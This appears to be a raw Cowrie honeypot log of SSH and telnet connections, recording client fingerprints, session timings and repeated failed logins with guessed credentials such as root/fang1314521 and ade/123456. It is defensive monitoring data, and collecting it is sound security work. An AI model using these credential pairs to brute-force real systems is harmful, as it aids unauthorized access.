{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:09.015403Z","src_ip":"45.120.216.232","session":"2d186cbe2803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41074,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c4f59f669e7","protocol":"ssh","message":"New connection: 159.203.92.129:41074 (159.203.135.109:22) [session: 0c4f59f669e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:15.008003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:15.013975Z","src_ip":"159.203.92.129","session":"0c4f59f669e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:15.020085Z","src_ip":"159.203.92.129","session":"0c4f59f669e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adb","password":"adb","message":"login attempt [adb/adb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:15.032461Z","src_ip":"159.203.92.129","session":"0c4f59f669e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:16.045238Z","src_ip":"159.203.92.129","session":"0c4f59f669e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":52246,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a60c579d6d2","protocol":"telnet","message":"New connection: 103.221.220.6:52246 (10.17.0.5:23) [session: 8a60c579d6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:22.118935Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":51212,"dst_ip":"10.17.0.5","dst_port":23,"session":"e977cb6b1bf8","protocol":"telnet","message":"New connection: 103.221.220.6:51212 (10.17.0.5:23) [session: e977cb6b1bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:22.676455Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":50608,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d2e0d76d9a3","protocol":"telnet","message":"New connection: 103.221.220.6:50608 (10.17.0.5:23) [session: 5d2e0d76d9a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:22.835733Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":52836,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bc272f5a4b0","protocol":"telnet","message":"New connection: 103.221.220.6:52836 (10.17.0.5:23) [session: 3bc272f5a4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:23.018416Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":53494,"dst_ip":"10.17.0.5","dst_port":23,"session":"a01fd9f6069a","protocol":"telnet","message":"New connection: 103.221.220.6:53494 (10.17.0.5:23) [session: a01fd9f6069a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:23.945729Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":53954,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfcbf6b4b5a4","protocol":"telnet","message":"New connection: 103.221.220.6:53954 (10.17.0.5:23) [session: dfcbf6b4b5a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:24.704635Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":55634,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8b2213dcac0","protocol":"telnet","message":"New connection: 103.221.220.6:55634 (10.17.0.5:23) [session: d8b2213dcac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:26.940510Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":59022,"dst_ip":"10.17.0.5","dst_port":23,"session":"f52c0e0dc146","protocol":"telnet","message":"New connection: 103.221.220.6:59022 (10.17.0.5:23) [session: f52c0e0dc146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:32.973976Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":33386,"dst_ip":"10.17.0.5","dst_port":23,"session":"93bf9d1567cf","protocol":"telnet","message":"New connection: 103.221.220.6:33386 (10.17.0.5:23) [session: 93bf9d1567cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:33.804977Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":36120,"dst_ip":"10.17.0.5","dst_port":23,"session":"a64be8faf0e5","protocol":"telnet","message":"New connection: 103.221.220.6:36120 (10.17.0.5:23) [session: a64be8faf0e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:36.624583Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":37242,"dst_ip":"10.17.0.5","dst_port":23,"session":"431ab19b2ec2","protocol":"telnet","message":"New connection: 103.221.220.6:37242 (10.17.0.5:23) [session: 431ab19b2ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:38.852283Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":39952,"dst_ip":"10.17.0.5","dst_port":23,"session":"39f3485a5c26","protocol":"telnet","message":"New connection: 103.221.220.6:39952 (10.17.0.5:23) [session: 39f3485a5c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:40.874667Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":42460,"dst_ip":"10.17.0.5","dst_port":23,"session":"a32c6bfe3402","protocol":"telnet","message":"New connection: 103.221.220.6:42460 (10.17.0.5:23) [session: a32c6bfe3402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:43.610315Z"}
{"eventid":"cowrie.session.closed","duration":120.00430107116699,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:48.937602Z","src_ip":"102.135.170.60","session":"f9c2b590f95e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00152635574341,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:49.414039Z","src_ip":"102.135.170.60","session":"d5beeb1a61fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00158333778381,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:49.613966Z","src_ip":"102.135.170.60","session":"957a760a0abd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":48128,"dst_ip":"10.17.0.5","dst_port":23,"session":"1688d7d1e62d","protocol":"telnet","message":"New connection: 103.221.220.6:48128 (10.17.0.5:23) [session: 1688d7d1e62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:49.902906Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":51530,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8ebf3e628c5","protocol":"telnet","message":"New connection: 102.135.170.60:51530 (10.17.0.5:23) [session: a8ebf3e628c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:50.213153Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":51554,"dst_ip":"10.17.0.5","dst_port":23,"session":"2185b681e01d","protocol":"telnet","message":"New connection: 102.135.170.60:51554 (10.17.0.5:23) [session: 2185b681e01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:50.837940Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":51578,"dst_ip":"10.17.0.5","dst_port":23,"session":"252beef7a820","protocol":"telnet","message":"New connection: 102.135.170.60:51578 (10.17.0.5:23) [session: 252beef7a820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:50.842347Z"}
{"eventid":"cowrie.session.closed","duration":31.022085905075073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:53.140911Z","src_ip":"103.221.220.6","session":"8a60c579d6d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.478198528289795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:53.313773Z","src_ip":"103.221.220.6","session":"5d2e0d76d9a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.160587310791016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:54.178887Z","src_ip":"103.221.220.6","session":"3bc272f5a4b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.470993995666504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:55.416627Z","src_ip":"103.221.220.6","session":"a01fd9f6069a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60330,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5b2a565ca25","protocol":"ssh","message":"New connection: 159.203.92.129:60330 (159.203.135.109:22) [session: f5b2a565ca25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:55.758845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:55.764776Z","src_ip":"159.203.92.129","session":"f5b2a565ca25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:55.769901Z","src_ip":"159.203.92.129","session":"f5b2a565ca25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adc","password":"adc","message":"login attempt [adc/adc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:55.783991Z","src_ip":"159.203.92.129","session":"f5b2a565ca25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.319730758666992,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:56.024240Z","src_ip":"103.221.220.6","session":"dfcbf6b4b5a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:56.794362Z","src_ip":"159.203.92.129","session":"f5b2a565ca25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.65642476081848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:31:58.596809Z","src_ip":"103.221.220.6","session":"d8b2213dcac0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2952139377594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:04.269067Z","src_ip":"103.221.220.6","session":"f52c0e0dc146","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53275179862976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:04.337599Z","src_ip":"103.221.220.6","session":"93bf9d1567cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.73031830787659,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:04.406672Z","src_ip":"103.221.220.6","session":"e977cb6b1bf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.570216417312622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:07.194694Z","src_ip":"103.221.220.6","session":"a64be8faf0e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.528799057006836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:09.380928Z","src_ip":"103.221.220.6","session":"431ab19b2ec2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.279510974884033,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:12.154071Z","src_ip":"103.221.220.6","session":"39f3485a5c26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38698720932007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:14.997212Z","src_ip":"103.221.220.6","session":"a32c6bfe3402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.288004636764526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:21.190781Z","src_ip":"103.221.220.6","session":"1688d7d1e62d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37574,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fe2973b6e1a","protocol":"ssh","message":"New connection: 159.203.92.129:37574 (159.203.135.109:22) [session: 2fe2973b6e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:37.924017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:37.929416Z","src_ip":"159.203.92.129","session":"2fe2973b6e1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:37.935728Z","src_ip":"159.203.92.129","session":"2fe2973b6e1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ade","password":"123456","message":"login attempt [ade/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:37.955915Z","src_ip":"159.203.92.129","session":"2fe2973b6e1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:38.962835Z","src_ip":"159.203.92.129","session":"2fe2973b6e1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":37556,"dst_ip":"159.203.135.109","dst_port":22,"session":"14a8ab1d7c46","protocol":"ssh","message":"New connection: 117.247.23.131:37556 (159.203.135.109:22) [session: 14a8ab1d7c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:40.479497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:40.485574Z","src_ip":"117.247.23.131","session":"14a8ab1d7c46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:41.231576Z","src_ip":"117.247.23.131","session":"14a8ab1d7c46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fang1314521","message":"login attempt [root/fang1314521] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:44.514045Z","src_ip":"117.247.23.131","session":"14a8ab1d7c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:32:47.801020Z","src_ip":"117.247.23.131","session":"14a8ab1d7c46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42150,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c9b066a7574","protocol":"ssh","message":"New connection: 159.203.92.129:42150 (159.203.135.109:22) [session: 0c9b066a7574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:33:22.168438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:33:22.173487Z","src_ip":"159.203.92.129","session":"0c9b066a7574","protocol":"ssh"}
